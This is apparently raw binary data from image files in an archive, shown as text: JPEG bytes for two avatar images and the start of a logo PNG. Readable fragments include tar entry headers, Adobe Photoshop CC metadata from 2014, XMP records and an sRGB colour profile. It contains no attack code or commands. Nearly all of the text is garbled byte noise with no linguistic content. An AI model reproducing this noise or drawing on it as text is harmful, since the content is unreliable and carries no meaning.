i\tR/�K`���edE,*�c�S?�aOR���!��P�6�7Q�a}ŕ��ʺFc�
�Y����i��5k?�6�1 "��*��\C}x�E�߯��{q9�&���N##�c���j�#�HaZ�*]u"F����(�+@F��[���m�*Wr�L��_�
k �P�#b�<[�8m�-ouQ�-�0����F��:�=��
��Hyl;n��J`�q���D�L����X��P����]~�%2�oN� ��2�!���Aj}�# j�����SM :�i���7����C�_gVV5/�F�/V9
���ʙ=:����G���� v�6�����8���
�QZ^,�7�8a�$
���1>�������:�Ƙ�l"�'b�l��p��������U�b���m�!��bm���Drz������L����YGe^�w'���6���L�a�<B��C�-���7�!�qK��:�?�m����w���1�t�ʞd�<�i�M�\2��""X�V�י�#4g����ǎMm?6��ѡ��-7Q"�]H$�˗�[EnS��<�\i��)G]����t;aL�%ʹ���%�zһ�wr;�I"'�N|��_͕�7����W{�	RH)Oۑ����󛛍W^�H�o&��V�3���c�{;�����Mnj%�Q�G��$�e��<ä�_-淤Es4nJj�4��aZ�4T���s�[�����+����7[c�E{u��Ӑ���gS�'�n|��ԡڈ�(؝�w�������Ԡ67�i����>H�]R���d����O�������.?��m_���b֒^$�9�iP��;�#\��j6>��T����k,P̼\=�?�y7E�%��BOzP�w����G}�0�}�}�h�:��e�>��s-��uhګ_u9ZJ��B�m����֞�|.�K�)�Q��3�����[Q7���X��j�l�G4�h�9��^���bӢJ�\Td͞K�P������uu�97
��"�q��y��W����;Az�M~����-U��]��9ݵ�,Xk:KbGq�_̞T����-�j
���Y�ꩍ���)�m�0ZjS)	�r�M��Bj<FA(p	��J��CA��@GS�$�Quc����,j��Ԡ���J��,g��	P-�;'B�"hH�/�U�W�~��rt���d��G�yWzW3Ka���{��a�S��
�S���8��'@G�T�L.*�Ꮕ���UGV �#I��@�:LQwvi_��oՆAFeQ,c��і2*�Q�m��&�w=�U�"+G�$^�"�S�'�<�����;~��KV'�����r\�v��~��mJڷWC׉�V��(��Z���8���c��^E���,�KK���#����L6�5�GGz��X���w�6rEl�W���'R����='�U�pp�4�x�z��i���l�\��K���\�-��4�_�L��Oo}���;�c��q"��?���^��� �-�ף]�ї������yI��-!���:]Ԗw���3A0=ç��=���}A��oOY�l���[��j����E���'�=�����I�y�E�\Akt"�?��v>�?�s��<�|�J'�j�9��M�G��1ݰLW�6�0�_�Y��VU��\�E���*�2��?,I<��޸�jo������Pʣ�g?��	�5r�`�t���������p�J����Ɠk�`k�>�P���A����8�qW�����[I$���Ş�����ݢ��Eّ� �]RU) �9�O�����ُN�wWQ�ٲ���̣D���REn_
w�5�XZ�5@4�����F�����)���T��04�bv���Nc��
��j^�P�Y���F�a��rD̫Ż�oU�J�U�<-|'������^�8.߈�:�"�`�X��'Pť���y'�&"�=�L&�@?k�%�F�ȲzH+"���x�UMT�F`;g9�u���јInƲZ9�����\��z���+F):��j�H�/�_��Fe˔����qZf��xE7����Ev 9�s۝0VԨ5��{�L��
�`�;�@��m4�=hʟE���o�G,	G��&�1�o1U(H;�6�G��Q$A$g��aT�F�v��q���M�zR�G�V��L#\�t\�	$�|Q��~c���l�4�-HdY�v�T5GBA، �����&�<����
j�\�t�%g��_Y�Fu�]nn�h�:�7�M��?��7�f��٢�m�!�>��1�/��촭j��lb���Q��#�]<�e�a�dqHs������"��|d����nm��^��������[I��{��ui�,�\C�=b�g�M�=9YM����j!�UXM?�-����Z�cV�~���[W��|_�-��>a}�z��s^X��O�nc`��q�'�Mw��T�ѵ�Q�K[�e�Ė�42~9y �[����F� 1�6:|��?�n���}"/$���
I��sɌ��)����)g���p�jN�r:���nZxJ�¼���]���O��m���"�_��}j�A��X�ee�Q�M�>_��璻{{U�ꪊ��#z��l �y�����iL*����ۯ��^C#u*ê��b�"86*�y�ʚo�-^����{��p�1yWY�ɞ0� �%*P�O��z<6�������@��7-�&b��NK�^$�t�I�^�r}�O˷��k�!vO'�d�����G�������P���L�3?P�s���@�
�E>؈�镶+���1O��V��U�`�cA��Y:��Z���h���
RD4e>�emЏ�/��p+.�<��\�[`��(��3��?�rTTWRUMT�Ђ3�)L1�5��[�5�5{9��cn�7�.$"ލ�*$��uu���^���1,��Sym�iS�?i�LE2)BJ"��/�� V���j
��L�)_P�J�(��W��ї�|Â�#��nm�J�,�1�-��B�+G5�\W�o��Q��e�R6��v`�?��qN��!�:�OVFi$�NNji��޸�da��iS��>v��h
ս�O����W�h�z���jʶw'a'����9'kt�C#�ud ���<�F�:�����I%v����V�h�rq��XJ n6dW%��&�Ǡ$� ��O�|Z-&�>?��P	~�듋�s�*��8hw1�ޮ�}���fAܜ
��آ
��z���ǒ�b@Bz��q\,ԥ��肧��R�8Hp9*��
��*�x��qU=A�O�S��V��p��X����k@6�(��
��!���+n\�z~8�,�A��ҿ��e;S�r)���S�\�4���CB{c�{����;��DW�b�k�1����Z[��<�M�r�x��b2c�y�)x�k�C'E�AH���?�o����y�C���4�\�>hz�����9+PA�A���G׵
��H�&�i!�{�����֛�Xk1l$����ϴ�����Z�)Q#2�M�`V��b�1ڣ:ߗ����Z�E��'�;s����*� /���G;�a�l>��C	�;1 Ā���I9���wM�i��8��!"?�a��Os� w���-/5{[9�D*�ޒ�ɇOQ��K���l3�ϔ!`�w>�K�G��?�yd�	1��3J�F���s�y�i^S�lO��
��G��'��O\#R�X6XlHuqB�r�b@��U
��%�.�����H�Q�*��&�Tm�A�YEGl�PMw1HA�;�k�T��n'�GZR�榽7��k^=����ب �6�>YXB�u���_�w銘H�@��S)���qL
���_�+�~x�����i���}8�il��h&K�$xg��9�$2�c���J��՘�
v��֙���n8�k|m�;-�D���-�_�y'd �V�;#9)Z��zF��h�E.lI�Y�v&�u7�&�C�:f'i�����e�����[>�G��/�X�	a�"����Խ��a�	��M�'�C��/��3
IpL��N�}��&�݈\��^z_[�f�xպ"����B�7���50hZVچ�/�.|�?��>m��T��pƱB�i�"���]�c�iUӬ�oi$�?�z�	�W~{�5�l��a���!�J��ܿ�F ˀ�}fnW	��Z��)���b� ��-�#uf��sW*����Uˮ*���LplP��lC�_,U���Cc�F�b1;`�Eh2
�T��
��ʹ)APw녶�6�û��Q��5�R���L+�on�ø���;�"�W-��&�;x�ogA�����,Q�FO��Ղ��6�$��ڀ����`)Z���t��5��Sa-1Z��N#AT�#2��H�+�[�/�����P��3&�olPr#f��0,:GZ�C2\[J���r�Ha�95�<ҷ���X^GT�
Dji���7�k�dHj[zPo�Z��PI~�#_��x^�s��-i񭵉�Q1(E��?�o��Ay����Ut�[k��V�_��"���Q�t�\E��G��Ƨ����ܯx����qp(ᆾ�*W�P�^ynEUH�Z�|�$�We�SO����8fS��(*w��//[z�����s�{aO H��K4=S!�R�aeȧ|�rĹ��4��刂|r�U[�ٹbA�nXP��/��Ce��_����
�w)�Z־�YoN-E�l7�����6���*�xb��Rt�*k��#��6*�B��1�
�+ژ�|��)�O����
n� ���2H)�'�C^��$[��(�N����m����ӮO�~G�IQ�^�ٸ���lQ�*�8�ƻr�;`J�m��%� �C���}�G��i\�Y���aTG-�8��sLK��LZ޾��{|�<����kjUN�Pa"ƽ�pEϭE�ӽk���+�n�J���J�֦�2mn=(�a�m'��w�2N+OՖ�ڷ<�x���/|-j��s��F_�LWu~c/� 9�B#��=��G,�qW��images/avatar5.jpg000060400000031633150710775200010064 0ustar00����ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:29 04:53:36��,�,&(.�HH���Adobe_CM��Adobed����			



��,,"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?qkFnC�h>�G?"��cc0�}�#cD���O��hp���?���s2�N�ղ�-���H����[Up�-��ë�_J��u�V�{~��?���j������wR�ux��ZN����]�?֌l�o����KN��c��G?���&v=T�+is]�~��.��\N��!���ڏS�� �A�Z��Swm��\��oO���Z����k�L�L�^����W��H0D��[}���sZ~������{�f�}f�[�����FKlm��϶K[?HG���mU��nGǫ�z�H��b�]�ݾ�c߽��Y�8�F���LJ�$�w�7VGC���[^5���U���+��)��5t�Rm��Hv�k7~jB�^x*�طT�����Y�=�5���
>�m��Y�Yߤ�p�#�B�o���l�t����W���z���0n�;A�Vnw�FW���§�7�@;7o��噓��P���Y��������_X�=�#󾏹G�o+,�9N��ޚ�.����ENtoa�H��YT����[�:{C��_ygk���&���z��}�'sǩ�?��*O�>�{w�ҟw��� !�,�?Cu�%���@5�T�A�]5��4���0#��Z�o��U�F"u�7�.i��|4�?����}/�)�c_�FsQ�����
�Photoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMI,,
Untitled-2,,nullboundsObjcRct1Top longLeftlongBtomlong,Rghtlong,slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong,Rghtlong,urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM�,,������Adobe_CM��Adobed����			



��,,"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?qkFnC�h>�G?"��cc0�}�#cD���O��hp���?���s2�N�ղ�-���H����[Up�-��ë�_J��u�V�{~��?���j������wR�ux��ZN����]�?֌l�o����KN��c��G?���&v=T�+is]�~��.��\N��!���ڏS�� �A�Z��Swm��\��oO���Z����k�L�L�^����W��H0D��[}���sZ~������{�f�}f�[�����FKlm��϶K[?HG���mU��nGǫ�z�H��b�]�ݾ�c߽��Y�8�F���LJ�$�w�7VGC���[^5���U���+��)��5t�Rm��Hv�k7~jB�^x*�طT�����Y�=�5���
>�m��Y�Yߤ�p�#�B�o���l�t����W���z���0n�;A�Vnw�FW���§�7�@;7o��噓��P���Y��������_X�=�#󾏹G�o+,�9N��ޚ�.����ENtoa�H��YT����[�:{C��_ygk���&���z��}�'sǩ�?��*O�>�{w�ҟw��� !�,�?Cu�%���@5�T�A�]5��4���0#��Z�o��U�F"u�7�.i��|4�?����}/�)�c_�FsQ����8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-29T04:53:36-08:00" xmp:MetadataDate="2014-01-29T04:53:36-08:00" xmp:ModifyDate="2014-01-29T04:53:36-08:00" xmpMM:InstanceID="xmp.iid:35930a04-837b-964b-b816-8991543b0ce8" xmpMM:DocumentID="xmp.did:6a8b914b-a2cf-8949-994f-2db48063545e" xmpMM:OriginalDocumentID="xmp.did:6a8b914b-a2cf-8949-994f-2db48063545e" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:6a8b914b-a2cf-8949-994f-2db48063545e" stEvt:when="2014-01-29T04:53:36-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:35930a04-837b-964b-b816-8991543b0ce8" stEvt:when="2014-01-29T04:53:36-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed����





		
			
��,,"�����	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?�:.�y��Q�|zW
�K�CEceKu3�bE,�U]��qy�ƺ�O�ƿ:��B�?�a��NIp*H,��Ԁ9q�0�g��:�P���b��us[}2�9P�ժ�չ'Ky�D��Mn�ᰜ�BhUsO���˝*�ζZ������f+"�����̸S�k��o�ޫeom�� i�Ft���ը�>(�bA_qޤ:���֭�Ђ	:t4�H(��-��m)��i�&�<��d��ң$����k��ׯJeu������
zL~`ȵ�@�G��L���ܢ�֐C
��h2r�ۘMΫ���W���I�{ �T��w^?����v0;��'��Z�d�������J5~m^���iJ�����Yt$����NBa����Q��9����IZ���k���t���VD�\L�#�8�o����Pھ
��l���~���1�^X[�G��8�6���������}�M��Y8��#�c��C�oR��.�4�~��i�y��Ѹ�m�n�K�8�2]���������NNK�_U����k�~��}{�o���n�?k�����S�&��_ڭ)�*�G�>#� 7�Y������7H��� g��6�H�#�l/�|�i��\є2:���%kţ��M�?��=A��i�������_�W���z��u�}�����YQ�&.D��6�S��
z�1�l���w�3�U�ʓ �0QN�yd����X����]���h������N��G�����/#O�
��8��xH������images/avatar2.jpg000060400000031650150710775200010060 0ustar00����ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:29 05:25:34��@�@&(.�HH���Adobe_CM��Adobed����			



��@@"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�T�I%5z�}]?̫x�h�����e�l��k��0��֮��a�f7L��V�\�x,,>��+�yԔ�0�O��4�p�*�=������e�f����8Jŭ� ���U:l m:�(�@ׇx@�i���c�J^����Ax�ŷ �S��F�X�=�xC��'g������[]N���o���W�,n;C�ǟ�a?D������6�m��8�?�����m.��Fr���G�o+���u�Ƶ����{��.]��z�Td��Z�%����<��RB@�3D�	ꀎ~*n�}���9�|Ә�����>�XY�r�F�d^�S�SJɩ����ԹR'�b#W��w\� �,��A�]Z�]�KG4�[��N� {��.������l�"���pu���6����\�S���}Y��G��Я"몴=���x0�l��eX�����ˮ�ܸ���=�$��]Ov>ch���R{=�拷���o�Mmg���*y"JVM�����l�BX��^㶦�'�ȭ�~��4���N�䣜cDw]+��Z��;���'��;���t�쳐�w��T�1���]C>�N ��G�+���̦�L��/�Y&H�cK�/2�X�0%a>�*/?�c�]U����XX=B�[X��~%g�.Qz�9e����"��+^����
�Photoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMI@@
Untitled-1@@nullboundsObjcRct1Top longLeftlongBtomlong@Rghtlong@slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong@Rghtlong@urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM�@@�0����Adobe_CM��Adobed����			



��@@"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�T�I%5z�}]?̫x�h�����e�l��k��0��֮��a�f7L��V�\�x,,>��+�yԔ�0�O��4�p�*�=������e�f����8Jŭ� ���U:l m:�(�@ׇx@�i���c�J^����Ax�ŷ �S��F�X�=�xC��'g������[]N���o���W�,n;C�ǟ�a?D������6�m��8�?�����m.��Fr���G�o+���u�Ƶ����{��.]��z�Td��Z�%����<��RB@�3D�	ꀎ~*n�}���9�|Ә�����>�XY�r�F�d^�S�SJɩ����ԹR'�b#W��w\� �,��A�]Z�]�KG4�[��N� {��.������l�"���pu���6����\�S���}Y��G��Я"몴=���x0�l��eX�����ˮ�ܸ���=�$��]Ov>ch���R{=�拷���o�Mmg���*y"JVM�����l�BX��^㶦�'�ȭ�~��4���N�䣜cDw]+��Z��;���'��;���t�쳐�w��T�1���]C>�N ��G�+���̦�L��/�Y&H�cK�/2�X�0%a>�*/?�c�]U����XX=B�[X��~%g�.Qz�9e����"��+^���8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-29T05:25:34-08:00" xmp:MetadataDate="2014-01-29T05:25:34-08:00" xmp:ModifyDate="2014-01-29T05:25:34-08:00" xmpMM:InstanceID="xmp.iid:64a5b19e-b910-d148-90dc-664b3ece996f" xmpMM:DocumentID="xmp.did:35d5b0f7-4ca9-3a46-84db-1e9b57191ab5" xmpMM:OriginalDocumentID="xmp.did:35d5b0f7-4ca9-3a46-84db-1e9b57191ab5" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:35d5b0f7-4ca9-3a46-84db-1e9b57191ab5" stEvt:when="2014-01-29T05:25:34-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:64a5b19e-b910-d148-90dc-664b3ece996f" stEvt:when="2014-01-29T05:25:34-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed����





		
			
��@@"�����	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?�f�PƩ��O�N~�½ُ�Q�9�O4�w�b�%��v���TT�����ι���?�e�ڰܒ�SN+�"������G�����A6�x���]v��*�|���ߒ_5���IA#�:��0��ɉZ���W?��m�e�8��~�b�������h����i��YF���|J��l��/���)l�9e��C����y�QԬ��x�sh��%H�g�O��14v�%���)�=��yr��i$�uk�ޕ%݋?�1㎺���]YX)�Z�>�9&+ݳ����`m3��V�t��;� >�r�s��\��I�EQY"m��@��=EA�2�R���j bA=P�u��N�z�5�эx� �����?6�b���aq�
O���Z�g��w��@��xd�������d��j{��V;E�ڱS	��ķm��5,2z��ؑ�(�@+�W�E<�v�W����N��`��b�����y���Ao̸5�[|�u�����G��v�Ja���	ı��P��0��oa��fA�;�:���S�M���~��Y|I?y�`;��-Z��Gq)o�!�$���<z�R/����?����JYjr���Kn62� ?0i�K�ܩ����v���s���F�ޟ���}�S��P�����^x�\[�|Ed'��3��C����+9ndhUcR
6�;��JF�	��Y\�t�l��r��&_���2�B�wٻ$�s�F��.��B�1-�IȤ����f��2t�� o�{�Ȟ��#�~���z�q�m��~���~x�]�.T�%��{�O��images/logo.png000060400001626631150710775200007476 0ustar00�PNG


IHDR~�Z	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
